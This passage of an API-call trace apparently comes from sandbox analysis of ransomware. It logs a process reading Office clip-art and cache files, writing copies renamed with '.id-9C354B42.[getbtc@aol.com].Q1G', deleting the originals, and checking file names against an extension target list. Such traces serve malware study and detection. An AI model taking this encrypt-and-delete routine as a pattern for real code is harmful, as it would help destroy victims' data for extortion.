hTemplateFile=0x0) returned 0x190 [0056.975] GetLastError () returned 0x0 [0056.975] ReadFile (in: hFile=0x214, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x1df4, lpOverlapped=0x0) returned 1 [0056.977] WriteFile (in: hFile=0x190, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x1e00, lpOverlapped=0x0) returned 1 [0056.978] ReadFile (in: hFile=0x214, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.978] WriteFile (in: hFile=0x190, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.978] SetEndOfFile (hFile=0x190) returned 1 [0056.978] CloseHandle (hObject=0x190) returned 1 [0056.978] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.978] SetEndOfFile (hFile=0x214) returned 1 [0056.979] CloseHandle (hObject=0x214) returned 1 [0056.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0056.979] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0056.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0056.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0056.979] lstrlenW (lpString=".doc") returned 4 [0056.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.979] lstrlenW (lpString=".docx") returned 5 [0056.979] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.979] lstrlenW (lpString=".pdf") returned 4 [0056.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.980] lstrlenW (lpString=".xls") returned 4 [0056.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.980] lstrlenW (lpString=".xlsx") returned 5 [0056.980] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.980] lstrlenW (lpString=".ppt") returned 4 [0056.980] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0056.980] lstrlenW (lpString=".zip") returned 4 [0056.980] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.980] lstrlenW (lpString=".rar") returned 4 [0056.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.980] lstrlenW (lpString=".bz2") returned 4 [0056.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.980] lstrlenW (lpString=".7z") returned 3 [0056.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0056.980] lstrlenW (lpString=".dbf") returned 4 [0056.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0056.980] lstrlenW (lpString=".1cd") returned 4 [0056.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0056.980] lstrlenW (lpString=".jpg") returned 4 [0056.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0056.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0056.980] lstrlenW (lpString=".doc") returned 4 [0056.980] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.980] lstrlenW (lpString=".docx") returned 5 [0056.980] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.980] lstrlenW (lpString=".pdf") returned 4 [0056.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.980] lstrlenW (lpString=".xls") returned 4 [0056.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.980] lstrlenW (lpString=".xlsx") returned 5 [0056.981] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.981] lstrlenW (lpString=".ppt") returned 4 [0056.981] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0056.981] lstrlenW (lpString=".zip") returned 4 [0056.981] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.981] lstrlenW (lpString=".rar") returned 4 [0056.981] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.981] lstrlenW (lpString=".bz2") returned 4 [0056.981] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.981] lstrlenW (lpString=".7z") returned 3 [0056.981] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0056.981] lstrlenW (lpString=".dbf") returned 4 [0056.981] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0056.981] lstrlenW (lpString=".1cd") returned 4 [0056.981] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0056.981] lstrlenW (lpString=".jpg") returned 4 [0056.981] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.981] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0056.981] lstrlenW (lpString="AN04225_.WMF") returned 12 [0056.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.982] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=8492) returned 1 [0056.982] CloseHandle (hObject=0x214) returned 1 [0056.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 0x20 [0056.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0056.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.982] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.982] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0056.982] GetLastError () returned 0x0 [0056.982] ReadFile (in: hFile=0x214, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x212c, lpOverlapped=0x0) returned 1 [0056.984] WriteFile (in: hFile=0x190, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x2130, lpOverlapped=0x0) returned 1 [0056.985] ReadFile (in: hFile=0x214, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.985] WriteFile (in: hFile=0x190, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.985] SetEndOfFile (hFile=0x190) returned 1 [0056.985] CloseHandle (hObject=0x190) returned 1 [0056.985] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.985] SetEndOfFile (hFile=0x214) returned 1 [0056.986] CloseHandle (hObject=0x214) returned 1 [0056.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0056.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0056.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0056.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0056.987] lstrlenW (lpString=".doc") returned 4 [0056.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.987] lstrlenW (lpString=".docx") returned 5 [0056.987] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.987] lstrlenW (lpString=".pdf") returned 4 [0056.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.987] lstrlenW (lpString=".xls") returned 4 [0056.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.987] lstrlenW (lpString=".xlsx") returned 5 [0056.987] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.987] lstrlenW (lpString=".ppt") returned 4 [0056.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0056.987] lstrlenW (lpString=".zip") returned 4 [0056.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.987] lstrlenW (lpString=".rar") returned 4 [0056.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.987] lstrlenW (lpString=".bz2") returned 4 [0056.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.987] lstrlenW (lpString=".7z") returned 3 [0056.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0056.987] lstrlenW (lpString=".dbf") returned 4 [0056.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0056.987] lstrlenW (lpString=".1cd") returned 4 [0056.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0056.987] lstrlenW (lpString=".jpg") returned 4 [0056.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0056.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0056.988] lstrlenW (lpString=".doc") returned 4 [0056.988] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.988] lstrlenW (lpString=".docx") returned 5 [0056.988] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.988] lstrlenW (lpString=".pdf") returned 4 [0056.988] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.988] lstrlenW (lpString=".xls") returned 4 [0056.988] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.988] lstrlenW (lpString=".xlsx") returned 5 [0056.988] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.988] lstrlenW (lpString=".ppt") returned 4 [0056.988] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0056.988] lstrlenW (lpString=".zip") returned 4 [0056.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.988] lstrlenW (lpString=".rar") returned 4 [0056.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.988] lstrlenW (lpString=".bz2") returned 4 [0056.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.988] lstrlenW (lpString=".7z") returned 3 [0056.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0056.988] lstrlenW (lpString=".dbf") returned 4 [0056.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0056.988] lstrlenW (lpString=".1cd") returned 4 [0056.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0056.988] lstrlenW (lpString=".jpg") returned 4 [0056.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.989] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0056.989] lstrlenW (lpString="AN04235_.WMF") returned 12 [0056.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.989] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=7804) returned 1 [0056.989] CloseHandle (hObject=0x214) returned 1 [0056.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 0x20 [0056.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0056.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.989] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.989] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0056.990] GetLastError () returned 0x0 [0056.990] ReadFile (in: hFile=0x214, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0057.236] WriteFile (in: hFile=0x190, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0057.236] ReadFile (in: hFile=0x214, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.237] WriteFile (in: hFile=0x190, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.237] SetEndOfFile (hFile=0x190) returned 1 [0057.237] CloseHandle (hObject=0x190) returned 1 [0057.237] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.237] SetEndOfFile (hFile=0x214) returned 1 [0057.238] CloseHandle (hObject=0x214) returned 1 [0057.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0057.238] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0057.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0057.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0057.419] lstrlenW (lpString=".doc") returned 4 [0057.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.419] lstrlenW (lpString=".docx") returned 5 [0057.420] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.420] lstrlenW (lpString=".pdf") returned 4 [0057.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.420] lstrlenW (lpString=".xls") returned 4 [0057.420] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.420] lstrlenW (lpString=".xlsx") returned 5 [0057.420] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.420] lstrlenW (lpString=".ppt") returned 4 [0057.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0057.420] lstrlenW (lpString=".zip") returned 4 [0057.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.420] lstrlenW (lpString=".rar") returned 4 [0057.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.420] lstrlenW (lpString=".bz2") returned 4 [0057.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.420] lstrlenW (lpString=".7z") returned 3 [0057.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0057.420] lstrlenW (lpString=".dbf") returned 4 [0057.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0057.420] lstrlenW (lpString=".1cd") returned 4 [0057.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0057.420] lstrlenW (lpString=".jpg") returned 4 [0057.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0057.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0057.420] lstrlenW (lpString=".doc") returned 4 [0057.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.420] lstrlenW (lpString=".docx") returned 5 [0057.420] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.420] lstrlenW (lpString=".pdf") returned 4 [0057.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.421] lstrlenW (lpString=".xls") returned 4 [0057.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.421] lstrlenW (lpString=".xlsx") returned 5 [0057.421] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.421] lstrlenW (lpString=".ppt") returned 4 [0057.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0057.421] lstrlenW (lpString=".zip") returned 4 [0057.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.421] lstrlenW (lpString=".rar") returned 4 [0057.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.421] lstrlenW (lpString=".bz2") returned 4 [0057.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.421] lstrlenW (lpString=".7z") returned 3 [0057.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0057.421] lstrlenW (lpString=".dbf") returned 4 [0057.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0057.421] lstrlenW (lpString=".1cd") returned 4 [0057.421] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0057.421] lstrlenW (lpString=".jpg") returned 4 [0057.421] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.421] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0057.421] lstrlenW (lpString="BD00146_.WMF") returned 12 [0057.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 11 os_tid = 0x9b8 [0034.385] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x5d08a8 [0034.386] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x5e08b0 [0034.386] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b0110 [0034.386] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x5640c0 [0034.386] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b0158 [0034.386] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x34e0020 [0034.387] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b0170 [0034.387] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b0170, Size=0x20) returned 0x566700 [0034.387] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b0170 [0034.387] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b0170, Size=0x20) returned 0x566728 [0034.387] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0034.387] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0034.387] Wow64DisableWow64FsRedirection (in: OldValue=0x2c7ff58 | out: OldValue=0x2c7ff58*=0x0) returned 1 [0034.387] lstrlenW (lpString="kernel32.dll") returned 12 [0034.387] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x566700 | out: hHeap=0x510000) returned 1 [0034.387] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0034.387] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x566728 | out: hHeap=0x510000) returned 1 [0034.387] Sleep (dwMilliseconds=0x64) [0034.618] Sleep (dwMilliseconds=0x64) [0035.330] Sleep (dwMilliseconds=0x64) [0035.542] Sleep (dwMilliseconds=0x64) [0035.823] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0035.823] lstrlenW (lpString="PowerPointMUI.xml") returned 17 [0035.823] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0035.824] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1450) returned 1 [0035.824] CloseHandle (hObject=0x194) returned 1 [0035.824] GetFileAttributesW 